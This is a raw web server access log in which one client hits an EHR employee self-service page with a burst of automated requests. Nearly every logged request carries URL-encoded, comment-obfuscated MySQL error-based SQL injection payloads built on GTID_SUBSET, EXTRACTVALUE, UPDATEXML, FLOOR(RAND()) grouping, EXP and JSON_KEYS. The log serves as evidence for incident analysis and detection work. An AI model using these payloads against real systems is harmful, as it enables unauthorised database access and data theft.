100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x71546255%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71704745%29%2C6420%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x71546255%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71704745%29%2C6420%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x55544572%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43613463%29%2C6420%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x55544572%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43613463%29%2C6420%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x30454567%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50656476%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x30454567%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50656476%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4c543669%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c55676a%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4c543669%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c55676a%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x77324e4a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b446c48%29%2C5431%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x77324e4a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b446c48%29%2C5431%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4a533839%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x466d6839%29%2C5431%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4a533839%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x466d6839%29%2C5431%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x51304b70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x594d4630%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x51304b70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x594d4630%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5a4a766d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x684e584d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5a4a766d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x684e584d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a467763%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x335a3339%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a467763%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x335a3339%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x76584765%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x385a7a64%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x76584765%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x385a7a64%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a6d5250%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d784c69%29%29x%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a6d5250%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d784c69%29%29x%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x66727879%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5277414f%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x39634351%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x385a7762%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x39634351%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x385a7762%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x39306446%2C%28NULL%29%2C0x31625a61%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x39306446%2C%28NULL%29%2C0x31625a61%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x74775965%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e48734d%29%29%2C1%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x74775965%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e48734d%29%29%2C1%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x416f3539%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7236647a%29%29%2C1%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x416f3539%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7236647a%29%29%2C1%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6e585071%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58386d32%29%29x%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6e585071%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58386d32%29%29x%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x56694d39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x474a4c66%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x56694d39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x474a4c66%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x724b5234%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x354d7367%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x724b5234%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x354d7367%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x43736677%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6655736a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
